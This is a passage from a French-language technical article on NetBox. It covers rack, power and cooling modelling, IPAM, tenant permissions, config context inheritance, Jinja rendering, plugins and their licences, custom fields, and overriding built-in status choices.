commerciale.\nLes providers, les provider accounts et les circuit types. Les circuits, puis terminez-les sur des sites. Et le parc virtuel, qui reflète le parc physique.\nLes cluster types et les cluster groups, puis les clusters. Les machines virtuelles, qui ont besoin d\u0026rsquo;un site, d\u0026rsquo;un cluster ou d\u0026rsquo;un équipement, puis leurs interfaces. Les étapes 1 à 10 sont un après-midi et elles ont l\u0026rsquo;air d\u0026rsquo;être de l\u0026rsquo;administratif. Il n\u0026rsquo;y a là rien de glorieux. C\u0026rsquo;est aussi l\u0026rsquo;après-midi qui décide si l\u0026rsquo;étape 11 prend une matinée ou quinze jours.\nLes règles qui mordent plus tard Les champs obligatoires sont la moitié facile, car ils échouent immédiatement et vous disent pourquoi. Ce qui piège les gens, ce sont les règles de cohérence, qui ne se déclenchent qu\u0026rsquo;une fois que vous avez assez de données pour vous contredire :\ndevice at Leeds, put in a Manchester rack {\u0026#34;rack\u0026#34;: [\u0026#34;Rack MCR1-A07 (A07) does not belong to site Leeds Edge.\u0026#34;]} device at Leeds, in a Manchester location {\u0026#34;location\u0026#34;: [\u0026#34;Location Hall 2 does not belong to site Leeds Edge.\u0026#34;]} rack at Leeds, in a Manchester location {\u0026#34;__all__\u0026#34;: [\u0026#34;Assigned location must belong to parent site (Leeds Edge).\u0026#34;]} a second device in a unit that is already taken {\u0026#34;position\u0026#34;: [\u0026#34;U39.0 is already occupied or does not have sufficient space to accommodate this device type: MX204 (1.0U)\u0026#34;]} La dernière est celle que je montrerais si quelqu\u0026rsquo;un demandait pourquoi s\u0026rsquo;embêter avec tout ça. NetBox sait que l\u0026rsquo;équipement fait 1U, sait ce qu\u0026rsquo;il y a dans l\u0026rsquo;armoire, et ne vous laissera pas enregistrer deux choses au même endroit. Votre tableur vous laissera faire ça tout l\u0026rsquo;après-midi sans dire un mot, et vous le découvrirez quand quelqu\u0026rsquo;un sera debout dans la salle avec un carton dans les mains.\nRien de tout cela n\u0026rsquo;est configurable et rien ne devrait l\u0026rsquo;être. C\u0026rsquo;est la différence entre un enregistrement et un souhait.\nÀ l\u0026rsquo;usage : ce que chaque écran vous donne Le parc chargé, voici ce que vous en ressortez réellement. Tout ce qui suit est cette même instance : une baie, quatorze équipements, câblés et adressés chez trois clients.\nUn équipement, ce sont ses composants Entrez dans l\u0026rsquo;un de ces hyperviseurs et l\u0026rsquo;onglet intéressant n\u0026rsquo;est pas le résumé, ce sont les interfaces.\nLisez une ligne en travers. L\u0026rsquo;interface, sa vitesse, ce que vous avez écrit à son sujet, l\u0026rsquo;adresse dessus, l\u0026rsquo;étiquette du câble, et le port à l\u0026rsquo;autre bout. C\u0026rsquo;est une seule requête, et c\u0026rsquo;est la réponse à la question que tout le monde pose vraiment, à savoir « qu\u0026rsquo;est-ce qui est branché là ».\nRemarquez où se trouve l\u0026rsquo;adresse. Elle est sur eno1, pas sur le serveur. Cela ressemble à du pédantisme jusqu\u0026rsquo;au jour exact où vous avez une machine avec une interface de management, deux interfaces de données et une loopback, et où quelqu\u0026rsquo;un demande quelle adresse répond pour elle. Un modèle qui accroche les adresses aux équipements ne peut pas vous le dire. Celui-ci peut, et il peut aussi contenir le cas parfaitement ordinaire de quatre adresses sur une seule interface.\nSuivre le câble Les câbles se terminent sur des composants, pas sur des équipements. Une interface à un bout, une interface à l\u0026rsquo;autre, ou un front port, un rear port, une prise électrique, une terminaison de lien. C\u0026rsquo;est le détail sur lequel repose toute la fonctionnalité, et c\u0026rsquo;est pourquoi la liste d\u0026rsquo;interfaces ci-dessus pouvait afficher l\u0026rsquo;autre bout dans sa propre colonne sans qu\u0026rsquo;on le lui dise.\nModélisez un câble d\u0026rsquo;équipement à équipement et vous avez dessiné une image. Terminez-le sur les ports et NetBox peut le parcourir.\nUn saut ici, parce que c\u0026rsquo;est un câble à attache directe. Mettez des panneaux de brassage au milieu et il les parcourt, panneau par panneau, et vous dit ce qu\u0026rsquo;il y a au bout d\u0026rsquo;un cheminement à travers trois armoires. C\u0026rsquo;est le travail qui demande sinon une lampe torche et quelqu\u0026rsquo;un qui tient l\u0026rsquo;autre bout d\u0026rsquo;une sonde.\nLe tracé affiche aussi l\u0026rsquo;emplacement complet de chaque extrémité. Site, salle, armoire, face, unité. Si vous avez déjà été au téléphone à essayer d\u0026rsquo;expliquer à un technicien sur place quelle machine regarder, cette ligne est toute la valeur.\nLes adresses, en arbre plutôt qu\u0026rsquo;en onglet L\u0026rsquo;IPAM est la moitié pour laquelle les gens viennent.\nL\u0026rsquo;indentation est calculée depuis les adresses elles-mêmes. Vous ne dites pas à NetBox que 10.20.20.0/24 est à l\u0026rsquo;intérieur de 10.20.0.0/16, il le déduit, et il continuera de le déduire quand quelqu\u0026rsquo;un ajoutera un /26 au milieu l\u0026rsquo;année prochaine.\nChaque ligne porte les choses sur lesquelles vous filtrez réellement : le VLAN vers lequel elle pointe, le rôle, et le client à qui elle appartient. L\u0026rsquo;utilisation est calculée aussi.\nOuvrez-en un et vous obtenez les adresses qu\u0026rsquo;il contient, et les trous.\nCes lignes vertes sont l\u0026rsquo;espace libre, affiché dans le fil de l\u0026rsquo;espace utilisé. Il existe un appel d\u0026rsquo;API qui vous rend la prochaine adresse libre d\u0026rsquo;un préfixe, et c\u0026rsquo;est le morceau d\u0026rsquo;automatisation IPAM qui se rentabilise immédiatement, parce que c\u0026rsquo;est ce que les gens font sinon en plissant les yeux sur un tableur et en espérant.\nUne interface prend autant d\u0026rsquo;adresses que vous voulez, des deux familles, et vous en désignez une de chaque comme primaire de l\u0026rsquo;équipement.\nDeux IPv4 et deux IPv6 sur un seul port, ce qui est un mardi ordinaire et quelque chose qu\u0026rsquo;un modèle centré sur l\u0026rsquo;équipement ne peut pas exprimer du tout.\nSaisissez les adresses avec le masque du réseau sur lequel elles se trouvent, pas en /32. NetBox acceptera 10.20.20.11/32 et le classera sous le bon préfixe, car l\u0026rsquo;appartenance est déduite de l\u0026rsquo;adresse hôte. Ce qu\u0026rsquo;il ne fera pas, c\u0026rsquo;est vous corriger après coup : le masque est stocké exactement comme tapé et rendu tel quel à tout ce qui le lit, donc un /32 sur une adresse de LAN rend un /32 dans la configuration de l\u0026rsquo;équipement. L\u0026rsquo;endroit où ça mord, c\u0026rsquo;est trois mois plus tard dans un gabarit de configuration, pas aujourd\u0026rsquo;hui dans le formulaire.\nUne installation, trois clients La plupart des objets de NetBox peuvent être affectés à un tenant. Une entreprise s\u0026rsquo;en sert pour ses divisions. Si vous vendez des services managés, vous en créez un par client.\nCe panneau de droite est la réponse à « qu\u0026rsquo;est-ce que ce client possède », et il s\u0026rsquo;est assemblé tout seul. Pas de rapport, pas de tableur, pas besoin de demander à l\u0026rsquo;ingénieur qui l\u0026rsquo;a construit.\nIl vaut la peine d\u0026rsquo;être précis sur ce que signifie la notion de tenant, car se tromper au premier jour, c\u0026rsquo;est une année à démêler plus tard. Un tenant signifie que l\u0026rsquo;objet est dédié à ce client. Un routeur qui ne sert que lui reçoit son tenant. Un pare-feu qui en sert quatre n\u0026rsquo;appartient à aucun d\u0026rsquo;eux, donc il n\u0026rsquo;en reçoit aucun, et la relation va ailleurs. Davantage là-dessus plus bas, car c\u0026rsquo;est le point où la plupart des gens découvrent qu\u0026rsquo;ils doivent ajouter quelque chose à eux.\nMettez les chiffres sur le type d\u0026rsquo;équipement C\u0026rsquo;est l\u0026rsquo;étape qui sépare un inventaire de quelque chose qui répond aux questions, et elle coûte environ dix minutes par type d\u0026rsquo;équipement.\nUn device type peut porter son poids et, via ses gabarits de power port, sa consommation électrique. Mettez-les une fois sur le type et chaque équipement que vous créerez jamais à partir de lui en hérite. Omettez-les et NetBox vous dira volontiers qu\u0026rsquo;une armoire est remplie à 28,6 % et rien d\u0026rsquo;autre.\nJ\u0026rsquo;ai mis un poids sur les cinq types présents, donné à chacun deux gabarits de power port avec une consommation maximale et une consommation allouée, donné au type PDU une entrée et douze prises, puis créé un power panel et deux arrivées vers l\u0026rsquo;armoire et câblé l\u0026rsquo;ensemble : chaque PSU1 d\u0026rsquo;équipement vers la PDU A, chaque PSU2 vers la PDU B, et l\u0026rsquo;entrée de chaque PDU vers son arrivée.\nAlors la page de la baie change complètement.\nUtilisation de l\u0026rsquo;espace 28,6 %. Utilisation électrique 90,7 %.\nCette armoire est remplie à un tiers de matériel et presque à bout d\u0026rsquo;électricité, et c\u0026rsquo;est un fait sur votre parc qu\u0026rsquo;aucun tableur ne vous proposera jamais de lui-même. C\u0026rsquo;est aussi le fait qui décide si la prochaine commande sera rackée là ou ailleurs, et il est tombé de données que vous avez saisies une fois, sur les types.\nDeux choses qui le laisseront à zéro J\u0026rsquo;ai eu 0,0 % au début, deux fois, et les deux causes méritent d\u0026rsquo;être connues parce qu\u0026rsquo;aucune ne produit d\u0026rsquo;erreur.\nLes prises doivent référencer l\u0026rsquo;entrée. Une prise électrique sur une PDU a un champ power_port qui pointe vers le port amont du même équipement. Laissez-le vide et la chaîne est rompue : NetBox n\u0026rsquo;a aucun moyen de savoir que ces douze prises sont alimentées par cette entrée, donc rien ne s\u0026rsquo;agrège.\nLaissez vides les champs de consommation de l\u0026rsquo;entrée. C\u0026rsquo;est le point contre-intuitif. NetBox ne calcule la consommation d\u0026rsquo;un power port à partir de ce qui y est branché que si ses deux propres champs de consommation sont vides :\nif self.allocated_draw is None and self.maximum_draw is None: ...aggregate the downstream power ports... # otherwise return {\u0026#39;allocated\u0026#39;: self.allocated_draw or 0, ...} J\u0026rsquo;avais obligeamment mis maximum_draw: 7400 sur l\u0026rsquo;entrée de la PDU, parce que c\u0026rsquo;est ce pour quoi la PDU est dimensionnée. NetBox m\u0026rsquo;a donc cru, a pris allocated_draw comme non défini, et a rapporté zéro. Effacez les deux et il le calcule :\nmcr1-pdu-a INPUT -\u0026gt; allocated 5340 VA, maximum 8480 VA, across 12 outlets mcr1-pdu-b INPUT -\u0026gt; allocated 5340 VA, maximum 8480 VA, across 12 outlets feed MCR1-A07-A: available 5888 VA (230 V x 32 A x 80% max utilisation) RACK power utilisation: 90.7 % RACK weight: 166.6 kg of 900 kg La règle est donc : mettez de vrais chiffres sur les feuilles, et laissez les ports intermédiaires vides pour que NetBox puisse les additionner. Une valeur définie administrativement gagne toujours contre la valeur calculée, ce qui est un comportement correct et exactement la mauvaise chose à faire sur une PDU.\nLe refroidissement, qui est nouveau La version 4.7 a ajouté le refroidissement au DCIM, et il est arrivé avec la moitié qui devient coûteuse. Une baie porte une cooling capability air, hybride ou liquide et une capacité en kilowatts ; un device type porte une cooling method. Au-dessus siègent des cooling sources pour les groupes froids et les armoires de climatisation, des cooling feeds représentant une boucle vers une baie, et des composants d\u0026rsquo;admission et de sortie sur les équipements eux-mêmes pour les plaques froides et les collecteurs.\nL\u0026rsquo;armoire ci-dessus affiche Hybrid, 15,00 kW, parce que je l\u0026rsquo;ai dit à la baie. Si vous prenez livraison de matériel refroidi au liquide cette année, voilà un modèle pour la chose que vous gardez actuellement dans un tableur.\nUne installation, beaucoup de clients La notion de tenant est la raison pour laquelle un prestataire peut faire tourner un seul NetBox plutôt qu\u0026rsquo;un par client, et il vaut la peine de comprendre ce qu\u0026rsquo;elle fait et, plus important, ce qu\u0026rsquo;elle ne fait pas.\nVingt-huit des modèles de NetBox portent un champ tenant. Sites, locations, baies et réservations de baies. Équipements, câbles et virtual device contexts. Préfixes, adresses IP, plages, aggregates, VLAN, VLAN groups, VRF, route targets, ASN. Liens opérateur et circuit groups. Clusters et machines virtuelles. Tunnels, L2VPN, réseaux et liaisons sans fil. Power feeds et cooling feeds.\nC\u0026rsquo;est tout nom facturable. Renseignez-le de façon cohérente et « qu\u0026rsquo;est-ce que ce client possède » cesse d\u0026rsquo;être une enquête.\nMais un tenant est une étiquette, pas un verrou. Il dit que l\u0026rsquo;objet est dédié à ce client. Il n\u0026rsquo;empêche personne qui peut se connecter de lire l\u0026rsquo;ensemble, ce qui va très bien au sein d\u0026rsquo;une seule entreprise et ne sert plus à rien dès qu\u0026rsquo;un client a un compte.\nDeux choses en découlent, et la seconde est celle que les gens ratent.\nUn tenant signifie dédié. Un routeur qui ne sert qu\u0026rsquo;un client reçoit son tenant. Un pare-feu qui en sert quatre n\u0026rsquo;appartient à aucun, donc il ne reçoit rien, et vous consignez la relation sur la chose que vous avez réellement vendue. Forcer un tenant sur du matériel partagé rend discrètement faux chaque rapport bâti sur les tenants.\nEt l\u0026rsquo;accès est un mécanisme entièrement distinct.\nC\u0026rsquo;est dans les permissions que vit l\u0026rsquo;isolation Les object permissions de NetBox prennent une contrainte JSON, et la contrainte est un filtre de l\u0026rsquo;ORM Django. Elle restreint le queryset avant que quoi que ce soit n\u0026rsquo;en soit construit, donc chaque vue, chaque export, chaque appel d\u0026rsquo;API et chaque recherche est restreint avec elle.\nTrois champs font le travail. Les types d\u0026rsquo;objets auxquels elle s\u0026rsquo;applique, les actions qu\u0026rsquo;elle accorde, et cette contrainte en bas. Tout le reste est de la comptabilité.\nVoici la liste d\u0026rsquo;équipements en tant qu\u0026rsquo;administrateur.\nEt voici la même URL, la même installation, connecté en tant que client.\nDeux lignes au lieu de quatorze, et regardez le menu de gauche. Il s\u0026rsquo;est réduit aux quatre choses que ce compte a le droit de toucher. Personne n\u0026rsquo;a configuré ça. La navigation est construite depuis les mêmes permissions, donc un client ne voit jamais un lien vers quelque chose qui le refuserait.\nLes deux façons de dire non C\u0026rsquo;est le détail à connaître, car les deux refus signifient des choses différentes et les deux sont délibérés.\nLe jeton du client demande Il obtient /api/dcim/devices/ 200, une ligne sur deux /api/dcim/devices/1/, le sien 200 /api/dcim/devices/2/, celui d\u0026rsquo;un autre 404 /api/tenancy/tenants/ 403 /api/dcim/sites/, jamais accordé 403 aucun jeton du tout 403 404 signifie que le type est à vous mais que cette ligne ne l\u0026rsquo;est pas. La contrainte l\u0026rsquo;a retirée du queryset, donc du point de vue de la requête elle n\u0026rsquo;existe pas. Un 403 à cet endroit confirmerait qu\u0026rsquo;elle existe, et permettrait à un client curieux de compter votre parc en parcourant les identifiants.\n403 signifie que le type ne fut jamais à vous. Les tenants et les sites n\u0026rsquo;ont jamais été accordés, donc ils refusent d\u0026rsquo;emblée, et le client ne peut pas énumérer qui d\u0026rsquo;autre est sur la plateforme.\nPuis laissez-les écrire La lecture seule est le cas facile. La vraie question est de savoir si on peut confier des droits d\u0026rsquo;édition à un client, j\u0026rsquo;ai donc accordé change sous la même contrainte et je suis allé chercher la sortie.\nTentative Résultat Éditer son propre équipement 200, enregistré Éditer l\u0026rsquo;équipement d\u0026rsquo;un autre client 404 Éditer son propre équipement en le déplaçant vers le tenant de l\u0026rsquo;autre client 403 Supprimer son propre équipement 403, delete n\u0026rsquo;a jamais été accordé La troisième ligne est celle qui compte. Réaffecter son propre équipement au tenant de quelqu\u0026rsquo;un d\u0026rsquo;autre est l\u0026rsquo;échappatoire évidente, car l\u0026rsquo;objet est à l\u0026rsquo;intérieur de votre contrainte à l\u0026rsquo;arrivée de la requête et à l\u0026rsquo;extérieur ensuite. NetBox évalue la contrainte contre l\u0026rsquo;état dans lequel l\u0026rsquo;objet serait laissé, donc il refuse. J\u0026rsquo;ai relu l\u0026rsquo;équipement plutôt que de me fier au code de statut, et le tenant n\u0026rsquo;avait pas bougé.\nC\u0026rsquo;est le trou que laisse ouvert la plupart des systèmes multi-clients faits maison, et il est normalement trouvé par un client plutôt que par un test.\nLes variables qui doivent s\u0026rsquo;hériter Voici la distinction que les gens ratent, et la réussir épargne beaucoup d\u0026rsquo;édition.\nUn custom field est une valeur sur un objet. Vous la fixez objet par objet, et elle y reste. Bien pour un fait sur la chose elle-même : un numéro d\u0026rsquo;inventaire, un numéro de contrat de support, une date de mise en service.\nUn config context est une valeur attachée à une caractéristique, dont tout ce qui correspond à cette caractéristique hérite. Bien pour une variable qui doit ruisseler : vos serveurs NTP, vos cibles syslog, votre communauté SNMP, votre domaine DNS, votre VLAN de management, votre fenêtre de sauvegarde.\nSi vous vous surprenez à fixer le même custom field à la même valeur sur quarante équipements, c\u0026rsquo;est un config context que vous vouliez.\nUn context est du JSON arbitraire, et il peut être attaché à une region, un site group, un site, une location, un device type, un rôle, une platform, un cluster, un cluster type, un cluster group, un tenant group, un tenant ou un tag. Tenant figure dans cette liste, ce qui, pour un prestataire, signifie qu\u0026rsquo;un fait vrai d\u0026rsquo;un client partout le suit sur chaque équipement que vous ajouterez jamais pour lui.\nLa fusion se fait par clé, et le poids décide de qui gagne chacune.\nLisez le panneau de droite contre celui de gauche. La region fournit quatre clés au poids 1000. Le site fournit une clé au poids 2000. Le context rendu garde intacts le domaine, les serveurs NTP et la communauté de la region, et prend le serveur syslog du site, parce que c\u0026rsquo;est la seule clé que quelque chose a disputée.\nVous écrivez l\u0026rsquo;exception, pas une copie neuve de tout avec l\u0026rsquo;exception dedans. C\u0026rsquo;est toute la valeur, et c\u0026rsquo;est pourquoi cela passe à l\u0026rsquo;échelle là où un fichier de variables par équipement ne le fait pas.\nLe context local gagne contre tout ce qui est au-dessus La pile d\u0026rsquo;héritage a un sommet, et c\u0026rsquo;est l\u0026rsquo;objet lui-même. Les local context data sur un équipement gagnent contre chaque source context qui s\u0026rsquo;applique à lui, quels que soient les poids.\nJ\u0026rsquo;ai mis ceci sur mcr1-core-01 :\n{\u0026#34;syslog_servers\u0026#34;: [\u0026#34;10.20.10.99\u0026#34;], \u0026#34;note\u0026#34;: \u0026#34;this box logs somewhere else\u0026#34;} et son context rendu est devenu :\n{ \u0026#34;note\u0026#34;: \u0026#34;this box logs somewhere else\u0026#34;, \u0026#34;domain\u0026#34;: \u0026#34;mcr1.example.net\u0026#34;, \u0026#34;ntp_servers\u0026#34;: [\u0026#34;172.16.10.22\u0026#34;, \u0026#34;172.16.10.33\u0026#34;], \u0026#34;snmp_community\u0026#34;: \u0026#34;n0rthwest\u0026#34;, \u0026#34;syslog_servers\u0026#34;: [\u0026#34;10.20.10.99\u0026#34;] } Le serveur syslog local a battu à la fois la surcharge du site au poids 2000 et la region au poids 1000. Tout ce dont il n\u0026rsquo;a rien dit a quand même été hérité, donc le domaine, les serveurs NTP et la communauté sont passés intacts, et la nouvelle clé a simplement été ajoutée.\nC\u0026rsquo;est la trappe de secours pour la seule machine qui est vraiment différente, et le panneau vous dit clairement qu\u0026rsquo;elle écrase tous les source contexts. Si vous vous surprenez à l\u0026rsquo;utiliser sur beaucoup d\u0026rsquo;équipements plutôt que sur un, vous avez trouvé une caractéristique que ces équipements partagent et c\u0026rsquo;est un context cadré dessus que vous vouliez.\nTrois pièges Un context sans portée est global. Créez-en un et oubliez de l\u0026rsquo;affecter à quoi que ce soit, et il s\u0026rsquo;applique à tous les équipements et à toutes les machines virtuelles que vous avez. C\u0026rsquo;est un comportement documenté et parfois ce que vous voulez. C\u0026rsquo;est aussi silencieux.\nLes clés ne peuvent pas avoir de tirets si vous voulez les atteindre simplement. Les données de context sont du JSON, donc ntp-servers est parfaitement légal, mais les noms de variables Jinja ne sont pas des clés JSON. {{ ntp-servers }} est analysé comme une soustraction et lève UndefinedError: 'ntp' is undefined. Écrivez {{ ntp_servers }} contre des données à tirets et vous obtenez une chaîne vide, un HTTP 200, et aucun avertissement nulle part. Utilisez des tirets bas dans les clés et le gabarit évident fonctionne.\nUn profil peut arrêter les fautes de frappe. Un profil de config context regroupe des contexts apparentés et impose un schéma JSON sur leurs données au moment de l\u0026rsquo;enregistrement. J\u0026rsquo;en ai doté un d\u0026rsquo;un schéma exigeant syslog_servers comme tableau de chaînes IPv4, puis j\u0026rsquo;ai fait les deux erreurs que les gens font vraiment :\n{\u0026#34;syslog-server\u0026#34;: [\u0026#34;10.1.1.1\u0026#34;]} singular, by accident 400 Data does not conform to profile schema: \u0026#39;syslog-servers\u0026#39; is a required property {\u0026#34;syslog_servers\u0026#34;: [...], \u0026#34;syslog_port\u0026#34;: 99999} 400 Data does not conform to profile schema: 99999 is greater than the maximum of 65535 Rejetées là où quelqu\u0026rsquo;un les a faites, plutôt que quatre cents équipements plus tard.\nRendre la configuration Des données de context plus un gabarit Jinja vous donnent un fichier de configuration. L\u0026rsquo;équipement est dans la portée sous device, son context fusionné est dans la portée sous forme de variables ordinaires, et vous pouvez parcourir ses composants.\nTout sur cette page vient d\u0026rsquo;un endroit différent, et c\u0026rsquo;est tout le sujet :\nLigne D\u0026rsquo;où elle vient host-name mcr1-core-01 de l\u0026rsquo;équipement domain-name mcr1.example.net du config context régional location \u0026quot;Manchester DC1 / MCR1-A07 / U39\u0026quot; du site, de la baie et de la position dedans server 172.16.10.22 du context régional, poids 1000 host 10.20.10.99 any notice du propre context local de l\u0026rsquo;équipement, battant le site et la region family inet address 10.20.10.11/24 de l\u0026rsquo;adresse sur cette interface, avec son masque tel que tapé Le gabarit est résolu par l\u0026rsquo;équipement, puis le rôle, puis la platform, et la requête échoue si aucun des trois n\u0026rsquo;en a. Vous affectez donc un gabarit à une platform une fois, et chaque équipement faisant tourner ce logiciel se rend depuis lui, sauf si son rôle ou l\u0026rsquo;équipement lui-même en dit autrement. C\u0026rsquo;est à cela que sert une platform : le système d\u0026rsquo;exploitation ou la famille logicielle du constructeur, pas le matériel.\nNetBox rend. Il ne pousse pas. Amener la sortie sur la machine est le travail de votre automatisation, et le jour où un bug de gabarit aurait sinon reconfiguré quatre cents équipements, vous serez content que ce soient deux systèmes différents.\nLes plugins Un plugin est une application Django installée aux côtés de NetBox. Il peut ajouter des modèles, ajouter des pages, étendre les deux API, injecter du contenu dans des gabarits existants, ajouter de la navigation, ajouter des files de tâches de fond et charger d\u0026rsquo;autres applications Django. Il y a très peu de choses qu\u0026rsquo;il ne peut pas faire, car en dessous ce n\u0026rsquo;est que du Django.\nEn installer un, c\u0026rsquo;est quatre commandes et un redémarrage :\nsource /opt/netbox/venv/bin/activate pip install netbox-topology-views netbox-qrcode # add the package names to PLUGINS in configuration.py, then python3 manage.py migrate python3 manage.py collectstatic --no-input sudo systemctl restart netbox netbox-rq Sur la pile de conteneurs, les mêmes paquets vont dans plugin_requirements.txt et vous reconstruisez l\u0026rsquo;image. Dans les deux cas, épinglez les versions et vérifiez d\u0026rsquo;abord la matrice de compatibilité, car un plugin qui n\u0026rsquo;a pas suivi une version de NetBox refusera de démarrer toute l\u0026rsquo;application plutôt que de se désactiver lui-même.\nLe catalogue publié en recense 31. Voici ceux qui méritent d\u0026rsquo;être connus, avec la licence sous laquelle chacun est réellement livré :\nPlugin Ce qu\u0026rsquo;il fait Licence DNS Zones, enregistrements et serveurs de noms comme source de vérité MIT BGP Sessions, communautés et politiques de routage Apache 2.0 Topology Views Cartes de topologie graphiques construites depuis vos câbles Apache 2.0 Floorplan Plans graphiques de sites et de locations LGPL 3.0 QR Code Des codes sur les baies, les équipements et les câbles, pour les étiquettes d\u0026rsquo;inventaire Apache 2.0 ACLs Listes d\u0026rsquo;accès et règles Apache 2.0 Prometheus SD Sert à Prometheus sa liste d\u0026rsquo;hôtes directement depuis NetBox MIT Documents Des documents rattachés aux liens opérateur et aux équipements Apache 2.0 Lifecycle Fin de vie du matériel, licences et contrats Apache 2.0 Contract Contrats et factures MIT Reorder Rack Glisser-déposer des unités de baie Apache 2.0 Branching Branches isolées et fusionnables de vos données NetBox Limited Use Custom Objects De nouveaux types d\u0026rsquo;objets, définis dans l\u0026rsquo;interface NetBox Limited Use Prometheus SD est la forme honnête de toute l\u0026rsquo;idée. NetBox sait ce qui existe, donc laissez NetBox le dire au système de supervision, et arrêtez d\u0026rsquo;entretenir une seconde liste d\u0026rsquo;hôtes qui dérive.\nUne chose à savoir avant de bâtir sur les deux dernières lignes. NetBox lui-même est en Apache 2.0 et l\u0026rsquo;est depuis que DigitalOcean l\u0026rsquo;a publié en 2016, et le projet est aujourd\u0026rsquo;hui pris en charge par NetBox Labs aux côtés d\u0026rsquo;une équipe de mainteneurs bénévoles.21 NetBox Branching et NetBox Custom Objects ne le sont pas : ils sont livrés sous la NetBox Limited Use License 1.0, qui accorde l\u0026rsquo;usage « only as part of a NetBox installation obtained from NetBox Labs or a NetBox distributor authorized by NetBox Labs, and only for your own internal use », et qui n\u0026rsquo;accorde pas le droit d\u0026rsquo;utiliser le logiciel « to provide a managed service or software products that includes, integrates with, or extends NetBox in a way that competes with any product or service of NetBox Labs ». Si vous avez installé NetBox Community depuis GitHub et que vous l\u0026rsquo;exploitez pour le compte de clients, lisez les termes vous-même avant de mettre un schéma derrière eux.10 Le guide d\u0026rsquo;installation de NetBox recommande les deux plugins sans le mentionner.11\nLes custom fields Un custom field ajoute un attribut à un modèle existant. Les valeurs sont stockées en JSON à côté de chaque objet, donc pas de migration et pas de redémarrage, et il existe treize types dont des références objet et multi-objets vers d\u0026rsquo;autres enregistrements NetBox.\nDeux champs là, regroupés sous un titre « Asset » que j\u0026rsquo;ai choisi. Remarquez le panneau Dimensions à leur droite : 9,5 kg, que personne n\u0026rsquo;a tapés sur cet équipement. Ils viennent du type d\u0026rsquo;équipement.\nLes custom fields sont validés, et il vaut la peine de savoir qu\u0026rsquo;ils le sont, car c\u0026rsquo;est une vraie différence avec la voie ci-dessous. J\u0026rsquo;ai donné au champ de contrat une expression régulière et l\u0026rsquo;API l\u0026rsquo;a imposée :\nPATCH {\u0026#34;custom_fields\u0026#34;: {\u0026#34;support_contract\u0026#34;: \u0026#34;nonsense\u0026#34;}} {\u0026#34;__all__\u0026#34;: [\u0026#34;Invalid value for custom field \u0026#39;support_contract\u0026#39;: Value must match regex \u0026#39;^[A-Z]{2,4}-[0-9]{6}$\u0026#39;\u0026#34;]} Deux choses ont changé en 4.7 qui comptent à grande échelle. Créer un champ avec une valeur par défaut, ou supprimer un champ, doit réécrire les données stockées de chaque objet auquel il s\u0026rsquo;applique, donc sur une grosse table ce travail est confié à une tâche de fond et le champ rapporte « provisioning » ou « deleting » pendant qu\u0026rsquo;elle tourne. Un champ n\u0026rsquo;est vivant que tant qu\u0026rsquo;il est actif : pendant l\u0026rsquo;une ou l\u0026rsquo;autre opération il n\u0026rsquo;apparaît ni sur les objets, ni dans les formulaires, ni dans les filtres, ni dans aucune des deux API. Cela exige un worker en marche, sinon il reste indéfiniment dans cet état.\nUtilisez un custom field quand vous ajoutez un fait sur la chose elle-même. Utilisez un config context quand la valeur doit ruisseler. Utilisez la section suivante quand la chose dont vous avez besoin n\u0026rsquo;existe pas.\nMenus déroulants personnalisés, et surcharge de ce qui est livré Deux mécanismes différents vivent sous ce titre et ils résolvent des problèmes différents. L\u0026rsquo;un est pour vos propres champs. L\u0026rsquo;autre réécrit ceux de NetBox.\nUn choice set, pour votre propre champ de sélection Un custom field de type « selection » tire ses options d\u0026rsquo;un choice set, un objet que vous gérez dans l\u0026rsquo;interface comme n\u0026rsquo;importe quoi d\u0026rsquo;autre. Ainsi « support tier » devient une vraie liste déroulante plutôt qu\u0026rsquo;un texte libre que quelqu\u0026rsquo;un écrira de trois façons.\nC\u0026rsquo;est imposé, y compris via l\u0026rsquo;API :\nPATCH {\u0026#34;custom_fields\u0026#34;: {\u0026#34;support_tier\u0026#34;: \u0026#34;platinum\u0026#34;}} {\u0026#34;__all__\u0026#34;: [\u0026#34;Invalid value for custom field \u0026#39;support_tier\u0026#39;: Invalid choice (platinum) for choice set Support tier.\u0026#34;]} Les choice sets sont partagés, donc un seul set peut alimenter le même champ sur plusieurs modèles, et changer la liste en un endroit la change partout.\nFIELD_CHOICES, pour les champs propres à NetBox C\u0026rsquo;est celui dont les gens ignorent l\u0026rsquo;existence. Plusieurs des champs de sélection intégrés de NetBox peuvent être étendus ou remplacés depuis configuration.py, dont le statut d\u0026rsquo;équipement, le statut de site, le statut de baie, le statut de lien opérateur et bien d\u0026rsquo;autres.12\nAjoutez un signe plus pour compléter ce qui est livré. Omettez-le pour remplacer la liste entièrement.\nFIELD_CHOICES = { # add to what NetBox ships with \u0026#39;dcim.Device.status+\u0026#39;: ( (\u0026#39;burn-in\u0026#39;, \u0026#39;Burn-in\u0026#39;, \u0026#39;cyan\u0026#39;), {\u0026#39;value\u0026#39;: \u0026#39;awaiting-rma\u0026#39;, \u0026#39;label\u0026#39;: \u0026#39;Awaiting RMA\u0026#39;, \u0026#39;color\u0026#39;: \u0026#39;orange\u0026#39;, \u0026#39;description\u0026#39;: \u0026#39;Faulty, with the vendor\u0026#39;}, ), # replace the stock list outright \u0026#39;dcim.Site.status\u0026#39;: ( (\u0026#39;surveyed\u0026#39;, \u0026#39;Surveyed\u0026#39;, \u0026#39;purple\u0026#39;), (\u0026#39;building\u0026#39;, \u0026#39;Building out\u0026#39;, \u0026#39;orange\u0026#39;), (\u0026#39;active\u0026#39;, \u0026#39;Active\u0026#39;, \u0026#39;green\u0026#39;), (\u0026#39;closing\u0026#39;, \u0026#39;Closing\u0026#39;, \u0026#39;red\u0026#39;), ), } J\u0026rsquo;ai mis exactement cela sur cette instance. Le statut d\u0026rsquo;équipement est revenu avec les sept valeurs d\u0026rsquo;origine et mes deux :\noffline, active, planned, staged, failed, inventory, decommissioning, burn-in, awaiting-rma et le statut de site est revenu avec seulement les miennes, la liste d\u0026rsquo;origine disparue :\nsurveyed, building, active, closing Un choix peut être un simple tuple de valeur, libellé et couleur, ou un dictionnaire qui accepte aussi une description affichée en sous-titre dans le formulaire. Et ils se comportent partout comme des valeurs natives, car pour le reste de NetBox ce sont des valeurs natives :\nCe badge est mon statut, dans ma couleur, qui se trie et se filtre comme n\u0026rsquo;importe quel autre.\nTrois choses à savoir avant de l\u0026rsquo;utiliser.\nRemplacer supprime les valeurs d\u0026rsquo;origine du menu, pas de la base. Tout objet qui en détient déjà une la garde, mais la valeur n\u0026rsquo;est plus proposée et ne sera plus un choix valide la prochaine fois que quelqu\u0026rsquo;un éditera cet objet. Si vous remplacez une liste, vérifiez que rien ne repose sur une valeur que vous venez de 